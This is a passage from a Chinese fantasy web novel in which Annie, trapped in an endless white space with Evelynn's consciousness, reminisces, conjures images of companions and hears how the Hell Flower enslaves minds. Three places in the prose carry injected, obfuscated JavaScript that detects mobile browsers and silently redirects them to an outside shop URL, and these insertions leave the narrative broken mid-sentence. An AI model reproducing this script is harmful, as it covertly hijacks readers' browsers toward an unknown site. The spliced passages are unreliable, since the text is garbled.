她在常青森林捡到猴子,猜到了连接两个世界的空间裂缝就在那里,所以想在常青森林再次打开空间裂缝,送走猴子。 这样,所有灵力都用于猴子的传送,也不用担心被弗斯掠夺利用了。 可是,她最后还是没有成功。波动被弗斯察觉,猴子被抓,灵力被夺,一切都功亏一篑…… “你想说什么?猴子来自异世界,然后呢?” “然后?还有什么然后?我以为弗斯喊的那句‘七原罪已经找到’是乞求天道出手帮忙的谎言,可是……是真的!他说的是真的!地狱之花真的要完成了!” 安妮如遭雷劈。 她想要反驳,但脑子从未有一刻如此清晰,给她罗列出忽略的真相。 地狱之花需要携带七原罪的魔兽之血浇灌,每种类型可以多不能少,而本世界,根本不存在色欲,因为本世界的色欲和异世界的色欲不同。——这说明,地狱之花根本没有被培养出来的可能。 但是猴子来自异世界,是异世界的魔兽,他的色欲,和本世界是不同的。而他的血,就是地狱之花最后需要的鲜血…… 可是,要怪猴子那么容易喜欢上阿狸姐姐吗?怪阿狸姐姐暴露了猴子的来历让弗斯有机可乘吗? 谁不喜欢善良温柔的阿狸姐姐,谁能想到圣城旁边的常青森林会有空间裂缝…… “别哭了,事情已经注定,咱们还是想办法快点出去,把地狱之花毁掉吧。” 伊娃沉重的声音响起,安妮才意识到,自己哭了。 她抹了把眼泪,几乎是瞬间暴起,一步一步狠狠踩在台阶上,往前飞去,宛如一支离弦的箭。 是的,飞,因为她的速度快如闪电,几乎看不清脚上的动作。 安妮好像回到了曾经,和金克丝练习速度的时候。她拼尽全力冲刺,身边的金克丝却神情轻松,还有闲心在旁边说风凉话。 但是现在,没有了。 蜻蜓点水般踩上阶梯,然后迅速借力往上腾起,如同机器般来回运动,脚上的符文甚至都亮起来。 跑!就这样跑! 安妮也不知道自己跑了多久,好像不会劳累,或者说,本来就不会。 她把所有焦急化为动力,有多焦急,就有多快速。可是没有用,她没有跑着跑着,眼前一片白光,然后回到现实。 甚至没有变化…… 什么都没有。 速度慢下来,脚上仿佛被戴了沉重的镣铐,抬起来都万分艰难。台阶还是被压得往下沉,仿佛印证了这无形镣铐的存在。 “休息一下吧。” “我不累。” “你身体不累,心累——我感受到了。” 安妮颓废地坐下,身后,出现一个白色的墙面。她靠上去,就像当初阿狸姐姐给自己准备的软枕。 心想事成,还真是…… 安妮苦笑。 她跑了那么久,什么也没有改变,甚至想要靠墙的下一秒,就有墙壁出现了。 安静的空间里,只有安妮剧烈的呼吸声。她好像真的累了,累得张口都难。 但最后,安妮还是望着空间,出声。 “我是不是很搞笑?” “嗯?” “明明弱得跟蚂蚁一样,却总觉得自己能轻松达到别人达不到的高度。明明很清楚自己几斤几两,却还觉得自己会是那个横扫天下的主角。” “我还记得第一次参加体能测试的时候,老师叫我们跳远。我明明知道自己一米六都够呛,看着一条条线,却在思考自己会在一米九还是两米落脚。” “就像现在一样,明明知道自己走不出这个空间,却总想着多跑一跑,再走两步,说不定就会有奇迹出现。” “凯德阿姨说,每个人都会有幼稚的时候,那时的他们会觉得自己是这个世界最特殊的存在。我可能太幼稚了,直到现在,我还这么觉得。” 伊娃知道安妮只是想发牢骚,按照时间换算,她大概在这里呆了有十多天了。 挺不可思议的,就是走走停停,却过了这么久。 “你说,还有什么出去的办法吗?” 总算说正事了。 伊娃打起精神,在记忆里搜寻,最后坦白:“你试过的我都试过,你没试过的我也试过了。” 所以,还是要等着放人吗? 卜拉克会放伊娃出来,她就是到死,也等不到弗斯放她出来吧。 “别那么灰心啊,你不是还有个帮手吗?” “你是说……木木?” “我还以为你都叫他‘信仰’。” 毕竟识海里是这样理解的。 “他……他不可能来的。” 安妮苦笑着,头一次,红了眼眶。 伊娃在她的识海边缘,感知到的都是她脑子里的东西,分不清阿木木是真是假也很正常。 深吸一口气,安妮转移话题:“凯德阿姨还说,懦弱的人都喜欢用幻想麻痹自己,勾勒出一个美好世界。你觉得,我呢?” “什么?” “不该问你这个的,免得你连最后一点希望都没了。” 安妮勾唇,伊娃却好像明白了她的意思。 “你的识海里,还有本我、超我和自我的知识。你是觉得,你的本我和超我都具象化了?” 本我、超我的具象化? 安妮真没想到这个,但似乎这样解释也最合理。最阴暗、冷漠的自己,和最神性、理智的自己…… “噗嗤……我脑子里装了片血海,都没有把自己一分为二,你还一分为三,你觉得我会信?” 安妮摇摇头,没有接话。伊娃在识海边缘,看不到她潜意识中的本我也正常。 “不过我好像知道你为什么能够通过寒焰的考验了。” “为什么?” “你肯定还有一个对世界冷漠无视的自己,才能帮你得到寒焰的认可……等等,我好像知道怎么离开无妄空间了。” 伊娃说完,安妮心里“咯噔”一下。 福至心灵。 把“她”唤醒。 “你之前是怎么做到的?” 之前? 安妮盘腿坐在地上,开始努力回想收服寒焰的经历。 时间太久远了,她实在记不清细节,印象最深刻的,竟然是薇彻扮成老爷爷欺骗自己的经历。 她还记得老爷爷的胡子里会蓄起冰渣,跟坚硬的钢板一样,敲都敲不动……咳咳,想哪去了。 死脑子,快想啊! 和薇彻坦白以后,一起进入山谷,然后接受考验。看到了渺小的自己,被激起斗志,然后呢…… 到底是怎么召唤出“她”的? 安妮拼命回想,最后却只能看见自己坐在悬崖边的样子。基兰爷爷的话还在耳边回荡,她甚至连当时的自己鞋子上绣着什么花都知道…… 烦死了! 安妮重重地捶了一下身边的白墙,“咔嚓”的声音,还有蜘蛛网一样迅速蔓延的裂痕,带着簌簌往下掉的墙皮。 为什么这么真实?因为她在学院学习、自虐的时候,这只是第一步。 明明记得很多东西,但就是想不起来极寒冰原的事情。那个人好像就这样出现了,然后又消失了,没留下一点痕迹。 “你不用着急,反正着急也没用,该死的都死光了。” 伊娃的话还是那么淡然,听得安妮想打人。 “她难道看不到我们现在的处境吗?她和我是一体的,为什么不出来帮我啊?” 当初的她,应该就是感知到了寒焰的考验,自己出来的吧?——安妮只能这么解释了。 “她连世界都漠不关心,还关心你?” “我死了,她也没了啊。” “没了就没了,反正活着也没什么意思——咳咳,抱歉,我是模拟的她的想法,别打我嗷。” “……” 虽然很欠揍,但不得不说,这就是真相。 早在相遇的那一刻,她就已经意识到了,潜意识里的那个自己,有多冷漠。 不够冷漠,也得不到寒焰的承认了。只能说,祸福相依吧。 之前的自己觉得,此刻的她肯定看着自己急得团团转,漠不关心。但现在的自己又忽然明白过来,估计她连看的兴趣都没有。 安妮揉着太阳穴,不断深呼吸。 这也是她在学院经常干的事。 往常这个时候,总是有一个身影走过来,从背后把她拥入怀中。她的焦虑就这样从心脏流向四肢百骸,然后渗出皮肤,蒸发在空气里。好像这样就彻底一身轻了…… 都说莫斯卡是骗子,骗术最高超的骗子,她甚至被耍得团团转,可她怎么能忘记那些相处的时光? 也许这就是到现在,她也无法憎恨莫斯卡的原因吧。 怎么想到这个了…… 安妮才发现,自己已经停下很久了。 现在的自己,就像当初坐在训练室的地板上,回想起那些冰冷的数字,着急得全身好像都在冒烟。 “你在我的识海边缘,能不能看到我的记忆啊?” “记忆?”伊娃沉思了一会儿,真诚回答,“看不到,只能感知到一点最基本的认知和情绪。” 说完,她自己先笑了出来:“你怎么会觉得我能看见你的详细记忆?每个人的经历都是独一无二的,窥视你的记忆,难道不会影响我自己吗?我还不想成为怪物。” 安妮不太理解伊娃的说法,但她知道了:伊娃也看不到自己的记忆。 “那你想知道我的记忆吗?” “也行,反正现在没事干。” 是啊,反正现在没事干。 “等等,作为交换,你是不是也该给我说一段记忆?” 安妮已经很久没“无私奉献”过了,这个词不适合她。 “我说了你会信么?” 安妮顿住了。 “我说加丁就是弗斯,弗斯就是加丁,你用了这么久才相信。那我要是说诸神之战不是我的意愿,坏人也从来不是我,你信么?我说我不是黑暗源泉,曾经还是光明的代表,你信么?” 伊娃一连串话问完,安妮沉默了。 她一直知道历史由胜利者书写,但这和记载的差距也太大了……她实在没办法昧着良心说“相信”。 不过加丁就是弗斯这点她大概是信了,仅此而已。 “人永远无法真正共情谁,除非和那人处在同一处境。我想,只有你真正成为我的那天,才会知道我的无奈,但……不可能了。” 伊娃苦笑着说完,没想到自己会一语成谶。 此时的安妮也不知道,她只是收回疑问,继续走着。 “你怎么又开始了?不是说要给我讲故事吗?” “光给你分享记忆太不划算了,我还是走走吧,万一就走出去了呢?” 安妮淡笑着,再次抬脚。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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虽然心里觉得自己一定会更向往和平安宁的生活,但误入祖神村的那一刻想的是逃跑,被金克丝救下拜师之后想的是找基兰,寻找本源路上宁缺毋滥不将就…… 恨的是自己的弱小,伤心的是自己的无能。 安妮好像明白那次交锋,黑暗中被带走的是什么了。 是懦弱、向往安逸的自己。 她早就被一分为二,只是自己都不知道。 “某种程度上来说,这空间也算让你体验了一把全新的自己了。” 伊娃语气轻快,让安妮有些不适。 “怎么听上去你还挺高兴。” 她始终出不去,怎么拼搏都出不去,这比她看到切实数字的时候还要绝望。倘若走台阶就能出去,哪怕数字是999999,再多加点,安妮都不介意。 正想着,旁边出现一个牌子。 插在虚无之中,就好像面前是一块实在的大地。 [距离出去还有999999步台阶] “噗嗤,你太可爱了……” 这个牌子消失得很快,但伊娃还是看到了。 “你一点也不着急吗?” 安妮已经不介意伊娃的嘲笑了,她只是着急,非常着急。 哪怕这里面的时间流速和外界不同,此时肯定也已经过去很久了。 “着急有用吗?何况,我的肉身早就没有了。就是再着急,我也只能附着在你的身体上,你怎么样,我就怎么样。” “你当初尝试过什么?” “我不建议你知道得太清楚,这会打击你的积极性。在无妄空间,失去思想就代表着消散,积极性可是能帮助你坚持好久的利器。” “那我就再试试,或许,能找到你想不到的方法呢?” “嗯嗯,你加油。” 伊娃敷衍着,但安妮权当不知道。 “创造东西你试过吗?空间会不会因为承载的东西太多,容不下而导致破裂?” “嗯嗯你试试。” 没用。 “一直重复某个程序你试过吗?会不会因为重复得不一样出现破绽,产生裂缝?” “嗯嗯你试试。” 没用。 “那……木木呢?幻象都模拟不出真实的木木,这个空间肯定也不行吧?模拟的时候会不会有bug?” “哎呀,这我还真没试过呢,毕竟我可没有信仰!你试试?” 可惜,还是没用。 安妮能感觉出来面前人和真实的木木有所不同,但只是感觉上的不同,他们的外貌、性格,甚至说话的声音都一样。 看着那双波澜不惊的眼眸,安妮有一些慌了。 无妄空间连她的最高理想都能模拟出来…… 不过也是,木木本来就是她脑海里,由她塑造的,什么样子本就与她的心意一模一样。 自己心里,他的形象越完善,无妄空间反应得越细节。 但这也代表真的毫无突破办法。 “唉……” “已经三个月了,你做得不错了。” “三个月?” “这是我的计时方法,你就不需要学习了。” 安妮没有多问,只是坐下。 “又想到什么方法了?” “没想到什么,我休息一下。” 她说着,想闭上眼睛,却发现根本做不到。 “什么情况?” “我没告诉过你,无妄空间睡不了觉?” “没有。” “啊,那真是抱歉,不过现在告诉你也来得及。无妄空间容纳了你的思想,而思想只要还活着,没有消散,就一直在。睡觉等于让意识坠入虚无,其实是休息的一种方式,而无妄空间不可能让你休息。” “它只会让我疲于奔命地想,想无可想,最后意识消散。” “聪明,会抢答了。” 伊娃说完,安妮沉默了。 她忽然感觉到一丝惧怕。 之前那么多稀奇古怪的经历都没让她产生过惧怕,可是这次,她怕了。 这是何种顶级的折磨。 “你想要睡觉,说明最开始的抗争已经进入疲软期,这可不是个好兆头——它代表你的积极性快没了。如果不想死太早,你最好继续思考怎么出去。” 伊娃和莫斯卡终究是不一样的。 当初的莫斯卡面对她的自残,说的是让她休息一下。而伊娃就好像拿着一根鞭子,不停催促她前进。 但要说谁是错的吗?不,一切都不过是现实的错。 “我突然,不想前进了……” “有兴趣和我坐下来聊聊吗?” 28. 28 “三个月前,某人还说暴露自己划不来,要我交换记忆。” “你再嘲讽,我就闭嘴了。” 安妮说完,伊娃沉默,她满意了。 下一秒,安妮身边出现一个衣着暴露的女人。 紫黑色长发,性感的胸衣,一对醒目的大翅膀。肤白貌美大长腿,唯一的缺点就是贯穿右眼的诡异符文。 “我在你心中的形象就这么狰狞?” 看着哪哪都好,就是眼神极其凶恶的自己,伊娃恼怒。 “咳咳,有哪里不对吗?” “给我把右眼的符文去了,眼睛上蒙块布。” “好吧。” 毕竟是正主的形象,她当然是遵从伊娃的意愿。 女人右脸上的符文消失,安妮看着,情不自禁感慨:“还挺好看。” “那当然,我曾经也是被人叫女神……咳咳,不说了。” 安妮只是想捏个娃娃陪伴自己,这样就好像伊娃在自己身边。等一切做好,她凝聚出又一个形象。 金色短发,清澈透明的蓝色眼眸,挺拔的身姿,英俊而神圣。 只是一个背影,但安妮还是忍不住热泪盈眶。 “这人我见过,在你识海的边缘。” 在识海边缘都能看到的身影,说明是安妮记忆里挥之不去的形象。但面前人沐浴在阳光下,和阿木木实在不像一个风格。 如果说阿木木是圣洁光辉笼罩的月神,面前人就是璀璨夺目的太阳之子。 “他是弗斯的学生。” “弗斯还是加丁?” 尽管他们是一个人,伊娃还是很好奇。 “加丁。” “哦,那他估计没了。” 安妮一愣。 “你怎么知道?” “如果他是弗斯的学生,那他会是最负盛名的光明的孩子,一辈子逍遥自在被人敬仰,因为弗斯是光明的,他也需要培养光明。 但他如果是加丁的学生,那他所做的一切一定会成为加丁的阻碍,不是明面上的阻碍,但也一定足够加丁把他视为仇敌。 而我不觉得,他在知道自己老师想要杀死自己的时候,会选择反抗。” 伊娃明明不知道一切,却能准确无误地说出事情经过。 “很惊讶?这只是基操而已,不用佩服我。” 伊娃显然对安妮的呆愣很满意。 无妄空间反应意识,而原始的意识是不会骗人的,安妮想隐藏自己都做不到。 不过她也不打算隐藏了,而是挥手。 艾德文特的身影消失,下一秒,出现一个矮小的黄胖子。 科技眼镜、绝缘手套,充满未来感的衣服。 “猜猜他是谁?” “识海边缘依旧有身影,而且带着震撼感。没猜错的话,是诸神之战后面出现的大人物——因为你压根不想让我猜中。” “真是没意思……” 安妮嘟囔着,小矮子身边出现一个穿着黄色金属芭蕾舞裙的少女,和一个土黄色的机器人。 “源大陆的科技已经发展到这个水平了吗?不可思议啊!” 伊娃自然看得出来,这两个都是机器人。而他们的主人,肯定就是中间的小胖子。 “源大陆的科技还没这么发达,嗯……说来话长。” “让我猜猜,你想说的是顶层人士的科技发展成了这样,而普通人还不知道吧?” “又被你猜中了,真没意思。” 安妮有些气馁,但随后忽然眼前一亮。 “但你肯定猜不到他令我印象最深刻的事情。” “无与伦比的发明?” 安妮摇头。 “嗯……充满潜力的小身板?” 安妮再次摇头。 “那总不会是这两个机器人吧?你应该不至于这么没见识。” “确实不是,是……他和贵族的交易。” “交易?” 伊娃说完陷入沉默,安妮知道,她肯定是去逛自己的识海了。可惜,边缘不会存在任何解释。 因为那晚的谈话,不在脑子里,在心里…… “我跟你说一句话,你应该就知道他和贵族有什么交易了。” “什么话?” “他曾经跟我说,我想建造一片净土,为此不得不彻底肮脏。” “所以,他把高科技都卖给有钱的贵族世家,帮助他们干坏事,然后用这笔钱打造了一个自己的世界?” “是的,科技王国,就在斩月山内部。” “不对啊……那为什么,你对他的好感度不低……”倘若安妮的潜意识里表现出一点厌恶,她感知到,也能猜出大概。 谁会想到,安妮心中善良伟大的发明家,其实干了坏事,而且这坏事还让她印象深刻? “好感度不低么?” 安妮呢喃着,似乎知道为什么。 她的面前,再次出现一个人,就站在科瑞特的身边。简陋的棕衣黑裤,深棕色毛发整洁又沧桑,明明是意气风发的年纪,眉间的白色却被愁绪压垮,显得格外突出。 “他,也是机械天才,可是因为使用廉价便宜的材料就可以做出带有高级功能的机器,被贵族暗杀,家破人亡。 他被追杀后,还被贵族世家诬陷成使用材料不合格,成品危险不能使用,想节约钱想疯了的疯子。 他旁边就是他毕生的偶像,大发明家。而他,被叫做‘机械公敌’。” “如果没猜错的话,你知道这些,比认识那个大发明家早吧?” 所以会理解这一切。 “是。” “我是说你为什么知道这一切,还会那么理解他。要放在以前,估计你知道的下一秒,心里就已经在计划道不同不相为谋了。” “果然,只有处在同一处境才能感同身受。虽然不知道你是怎么做到的,但你肯定感知到过。” “是啊,感知到了,人在江湖身不由己。” “知道就好。在这个世界上,天才最难的,就是寿终正寝。” 安妮一顿,虽然知道伊娃是在心疼和怜悯,但还是忍不住反驳:“科瑞特和莱沃都还活着——就是他们。” 她指向两人。 “那他们还是天才吗?” 伊娃一句话,安妮被问住了。 科瑞特或许不好说,但莱沃一定不是了。他唯一的成就就是崔丝塔娜的大炮,即使隐居,也没有再展露出天赋的意思,即使那是约德尔城…… 或许早在被追杀的那一刻,他的天赋就被留在了那场火焰中,莱沃父亲的死亡里。 至于科瑞特,虽然被万人敬仰,还被称为“大发明家”,但他用的依然是昂贵的零件,报价依然是那么高。 他明面上所展露出来的实力,只是比寻常科学家厉害一点,他的科技王国才是天才的象征,可无人知晓。 他是天才,却没有用天才的身份活着。 安妮指尖轻颤,四个身影消失,变成两个紫色皮肤的人。 都比较高大,但一胖一瘦。其中一个全身披着长袍,面具覆面,另一个皮肤裸露,金色的符文若隐若现。 “啧啧,老熟人啊,没想到他们现在中毒已经那么深了。” 伊娃的感慨引起了安妮的疑惑,她直接问道:“查纳金大师和麦尔特大师都中毒了?” “是啊,你不知道吗?”伊娃轻笑,“你是想用他们的事例说明天才也可以活得好好的是吧?” “对。” 安妮从不掩饰自己对伊娃的反抗。 “真是抱歉,恐怕你要失望了。他们已经不再展露天赋,算什么天才?或许曾经的他们有过接触和创造神器的机会,但诸神之战以后,我猜他们应该隐居了吧?” “确实隐居了。”安妮想到麦尔特的工厂,点头,但又摇头,“可是他们创造出了神器!” “不可能!否则为什么一点迹象都没有……” 安妮不是第一次感受到伊娃的失态,但她很满意,也很得意。 “就是我穿着的战甲,你不觉得这件衣服很特别么?” 安妮说完,伊娃沉默了,大概是在观察她的衣服。 过了一会儿,伊娃沉声道:“你会害死他们。” 这是伊娃第一次这么严肃、这么认真。安妮愣住了,明明下意识想反驳,却心中一慌。 “不、不会的……” “倘若他们制作的神器不是给你的,或许还有回转的余地,但正如我所说:加丁不会容忍你的助力存在。 具体原理可以参考你刚刚给我展示的第一个人。没猜错的话,他的死应该也和你有关吧。他给了你什么东西?或者帮你做了什么?” 很容易的,安妮就想到了艾德文特给她说的故事,送给她的地图……是啊,若不是弗斯忌惮艾德文特给她的东西,怎么会派人追杀他。 所以,查纳金和麦尔特,也会…… “不!连你都不知道神装出世,不知道他们制作出了神器,弗斯怎么可能知道?就算知道,他为什么要杀查纳金和麦尔特?那可是绝世天才,他不怕被指责吗?” “你太小看弗斯的能力了,也太高看他的道德了,或者说,世人的道德。”只要给点好处,天才的陨落就不是悲剧,是普天同庆的好事。 而查纳金和麦尔特死后爆的金币和装备,足够弗斯拿走需要的,还可以收买人心了。 “我要出去!” “真庆幸,你又重燃斗志了,不过这次不知道又能坚持多久。” “想办法……我不信无妄空间就是绝对完美的!他制作的时间那么仓促,难道就不会有一点问题吗?” “这个倒是,我一直在想那个漏洞会是什么,可惜完全想不到。或许弗斯就是天才吧,毕竟他还有过制作无妄空间的经验。” “我不信!我不认命!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我想听听故事——她的。” 辛诺的故事? 安妮一顿。 “比如说,你们是怎么认识的,你又是怎么和她成为朋友的。最关键的是,她和星月城其他人关系如何。” “我好像没告诉过你,辛诺来自星月城。” 天上有座城,城里有神仙。星月城的存在,是当初辛诺无意间介绍过的,但这句话伊娃应该没听到过才对。 “哎呀,我就是恰巧知道了而已,你还是说你们的事情吧。没猜错的话,辛诺是天道派来追杀你的,你们还能成朋友?” “和你没关系。” 不知为何,安妮不想告诉伊娃关于辛诺的事。 她们就是两个极端,光明和黑暗的极端。如果有机会,她更想能把伊娃的故事告诉辛诺。 “不说这个也行,那她和星月城其他人的关系如何?” “你为什么会关心这个?” 伊娃一时间被问住了。 为什么?大概是,辛诺的位置曾经是她的? 她希望辛诺和星月城的人关系能很好,这样辛诺死了,星月城的那些人也能伤心,甚至一起赴死——事实也确实如此,格雷斯甚至自戳双目毁掉了天道的窥视之眼。 但她又不希望辛诺和星月城的那些人关系太好,这样会显得当初被放弃的自己很可笑。好像,她就是无足轻重,放弃了就放弃了。 “不管你为什么突然好奇,我都不会告诉你的。你只需要知道,辛诺很好,星月城的人和我都很喜欢她,而你,永远也比不上她。” “我很感谢你的陪伴、你的教导,但不论如何,一切结束后,我会给辛诺报仇……” “我是不是不应该废话那么多?不让你想起这些,咱们关系也不至于突然变成现在这样。” 安妮一顿。 她一直都知道,没有放在眼前的东西终归激不起情绪。 就像是人,死后消散成世界的光点,无影无踪,所以她为族人感到悲伤的情绪都很短暂。 或许,她应该给自己警醒。 倘若能出去的话。 “你认识这个吗?” 安妮停顿了片刻,才描摹出一块木牌。 长方形的,正面镌刻着半弯的月亮,背面则是一颗五角星。很简单的设计,只能看出材质有一点特殊。 “这是……星月牌?”伊娃变相回答了安妮,“带在身上,即使是大雨大雾天,也可以看清楚夜晚的情景——仅限于地面。” “你怎么什么都知道?” “见多识广嘛,你活到我这个岁数,也会什么都知道的。” 伊娃说完,安妮却没感觉多高兴,这就像是母亲在安慰求知的孩子,可她自认和伊娃还没到那个关系。 “这是辛诺给我的,我出去以后会把它挂在身上。” 提醒自己什么,不言而喻。 伊娃没说话,在辛诺的事情上,她已经占便宜了,不需要还在语言上争个高低。 29. 29 “恭喜你,已经在这个空间停留一整年啦!” 伊娃的声音还是那么欢快,要是面前有个蛋糕,估计她都能插上蜡烛让安妮吹。 “一年了么……” 安妮仰望着白茫茫的天空,深深叹了口气。 这是第一次,她在什么地方呆这么久。原本以为能出去的自信在一次次尝试中被磨灭,随之而来的,是恐慌。 直到现在,安妮才那么清晰地意识到,她可能要死了。 死在这么一个杳无人烟的地方,唯一的共同点就是和那些尸体一样不会留下任何痕迹。 “你说,人死了,为什么会变成光点?在别的世界,会不会有尸体的存在?不然这个词哪来的。” “人死就是烟消云散了,至于为什么会有‘尸体’啊‘虐待’啊这些词语——当然因为这些词都是我创造的啊。” “你?弗斯会把你的话纳入圣语?” “当然,不然这些带着负面性的词语就是他发明的了,那怎么行。” 是啊,他要保持光明、正义的形象,否则当初自己也不会那么轻而易举地被骗,直到现在才相信,他就是加丁。 “你说,弗斯会给我安上什么罪名?” “我想,应该不需要什么罪名了吧。理由是强者欺压弱者的时候,对其他强者的解释,而弗斯已经强大到不需要对任何人解释。” “那你为什么还会背负那么多罪名?还有人会为你抱不平吗?” “只要有利益,就会有。说不定很久以前,为了什么权利,就有贵族说我才是被弗斯欺负的那个,打着为我报仇的名义获利——只是我不知道。” “当然,以后不会有了,因为现在的弗斯有了地狱之花,想控制谁轻而易举。不会再有人忤逆他,和他争夺权利。” “地狱之花……真的那么可怖吗?” “你不是已经感知到了吗?引人堕落、膨胀欲望,全都是地狱之花的核心。它的威力,是天道都认可的。” “所以,它只是强在思想,我们还是有办法反抗它的对吗?” “不,很多人觉得物质是比精神更加实在的厉害东西,但其实,精神才是万物之源。能控制物质生成的,是顶级的精神力,而地狱之花,能控制精神…… 那是一种无法反抗的欲望,只要你不服从,就会感受到皮肉被煎熬、血肉被啃噬的痛苦、绵长得一秒仿佛一年。 而只要你稍微服从,得到的就是极致的畅快,好像强迫症把一切掰回正轨,全身浸泡在舒适绵软的云朵中。 我不知道怎么描述,但我想有一个很简单的例子:假设,你处在一个绝对平和温馨的环境,守护着面前的生命之花。 你知道生命之花连接着世界生灵的生命,绝对不能伤害。 但是突然有一天,你全身燃烧起来,由内而外,好像在被火焰炙烤。你的脑海中只有一个想法:毁掉生命之花,你就可以解脱。 你知道这是不对的,和脑海里的思想斗争着。你难受、痛苦、挣扎,一开始还坚定内心,可很快,你的思绪乱了。 你开始怀念过去舒适的环境,你开始烦躁,想要自杀一了百了,你气得如同困兽,疑惑为什么不能动手。 坚定的意志慢慢被消磨殆尽,你感觉动一下都难受万分,你感觉自己的存在是那么突兀,你甚至不想感知到自己。 你已经想不起来生命之花有多重要,你感觉如今,最重要的只是你自己。你如同即将渴死的鱼,面前就是救命稻草。 不知道是不小心还是故意,总之,你触碰到了生命之花。只是短暂的、轻柔的,但是瞬间,你全身放松,如坠云端。 温柔舒适泉水般流淌进四肢百骸,大脑好像都轻盈起来,心口的巨石瞬间碎裂。 你如梦初醒、悔恨交加,赶紧远离生命之花,下定决心不会再触碰它一分一毫。但是很快你又难受起来,那个念头再次出现。 体验过极致快乐的你努力咬紧嘴唇,攥紧拳头,双眼赤红。你自己都不知道什么时候恢复,面前,只有一朵被摧毁的花。 脑海里有个声音告诉你怎么做,这一次,你终于毫不犹豫。” …… 伊娃好像在陈述一个事实,而毫无疑问的,她就是那个守护生命之花的人。 或者说,所有被地狱之花蛊惑的人都是。 “我好像知道地狱之花控制人的方式了……你最好永远不要尝试接触完全版的地狱之花。——哦不对,你也没机会了。” 安妮不置可否,她只是想到了识海深处的那个自己。 “如果我用她的意识,能抵抗地狱之花吗?” “精神上可以,但物质上不行。你要知道,她只是你脑海里的一抹意识,自己的形体都没有。弗斯的地狱之花,精神上有多厉害,物质上只会一样。” “你不是说地狱之花只会影响精神吗?” “那是初版,现在地狱之花已经被培养出来,它吸收了那么多魔兽的血肉,也该有实体了。” “你好像一点也不担心。” “我担心什么?担心有用吗?” “地狱之花那么可怕,你一点也不担心,世界会因它发生改变,甚至走向灭亡吗?” “真的吗?那可太好了!” “啊?” 伊娃的高兴不似作假,安妮愣住了。 她还以为,伊娃想要毁灭世界是弗斯故意宣传出来的,现在看来,伊娃其实真的想毁灭世界? 至少对世界不那么关心就是了。 “破坏比创造简单,毁灭世界也比改造世界轻松得多,曾经的我委曲求全,什么也没得到,现在能一步到位,也挺好。” “是啊,破坏比创造简单……” 创造比改造简单。 “等等……” 安妮忽然想到什么。 “怎么了?” “或许,我可以尝试一下创造世界?” “创造世界?” “世界那么大,万一无妄空间承受不住,我就出去了呢?”安妮知道这不过是幻想,但只要有一点的可能,她就会尝试。现在的她,仍旧会保持绝对的斗志。 “随你吧,这我倒是没试过。” 伊娃没试过的? 安妮顿时感觉更有希望了。 但她很快想到了为什么:伊娃根本来不及尝试这个,因为她没有被困一年,也没有被逼到这个地步。 所以这个方法成功与否,还是未知。 但那又如何?安妮愿意尝试。 正如伊娃所说,她不能丧失斗志。只要意识永远保持活跃,她就有出去的可能。 安妮努力闭眼,凝聚精神,一栋栋建筑出现。 她无法睡觉,在无妄空间,睡觉和死亡没有区别,而闭眼也就显得非常不专业:感觉上,眼皮是合拢了,但意识依然清醒无比,将无妄空间看得清清楚楚,就好像从未闭眼。 就在这样的奇怪感觉中,一座村落渐渐出现。 安妮以为,自己首先想勾勒的会是无妄森林,或者光明学院,亦或者守望麦田,但总之不会是祖神村。 可闭上眼,想到的却是那里的一砖一瓦。 陈旧的灰褐色泥土道路,还有潮湿阴暗的房间。明明一切都那么贫穷艰苦,安妮却在幻想回到那里的场景。 她还记得自己的焦急,知道无法出村的慌张,甚至当时饭都糊了…… 还有巫阿婆的满脸褶皱,那双布满老茧,枯树枝一样的手。指甲缝里,还有香灰的气息。 明明是招摇过市的骗子,眼里却好像真的有神明。说出的话那么令人信服,默默给予所有人希望…… “这是哪儿?我好像很熟悉,但又好像不认识。” 伊娃在安妮的识海里托腮,询问。 如今的她们也算是相依为命了,伊娃并不觉得安妮还有什么会瞒着自己。她不说,只是自己没问。 果然,安妮没什么可隐瞒的,诚实道:“一个村落,你应该是不知道的。” “你是黑暗族的吧?你们不是住在无妄森林附近吗?怎么会有村落的记忆?而且这地方看上去还那么贫穷。” “我只在那里生活过一小会儿,你不知道也正常。那是我第二次死亡后,随机重生的地方。” 安妮已经知道自己重生的规则,因此当初百思不得其解的问题,如今也终于得到回答了:没有任何人帮助她,没有任何人把她救下来又丢开,她不过是简简单单地复活了,仅此而已。 多么无敌的设定,如果代价不是清空记忆就好了。 其实,仔细想想,清空记忆的重生,和彻彻底底死亡有什么区别,那个焕然一新的,终究不会再是自己。 这大概就是为什么,提伯斯要保护她的记忆。 “哦,所以你对这里印象深刻,是体会到了底层人民的艰苦和无助,至今还记忆犹新?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296906|198573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“嗯?不是啊。”安妮懵了,“你在说什么?” “好吧,我又想多了,你要是一早体会到,学会反抗,早就横死街头几百次了。” “?” 安妮彻底懵了。 看着无妄空间里安妮眨眼,一脸懵逼的表情,伊娃苦笑:“有时候真不能怪你天真,谁叫你运气那么好呢。” “我的运气好?” 别的不知道,但听到这句话,安妮笑了。 她运气好,会被天道发现赶尽杀绝?会在入学第一天就遇到莫斯卡,被骗得团团转?会被艾德文特发现异常并告密,引来弗斯? “你知道吗?虽然世界上只有一个人有资格说自己最苦,但几乎世界上所有人都觉得自己很苦。也许你觉得你的人生已经不能再坏了,但说句实话,你的境况是会被人羡慕的那种。” “为什么?” “因为你出生在黑暗族族群内。” 安妮很想反驳伊娃,每一句都想反驳的那种,因此她选择了闭嘴。她害怕一出声,把伊娃骂死。 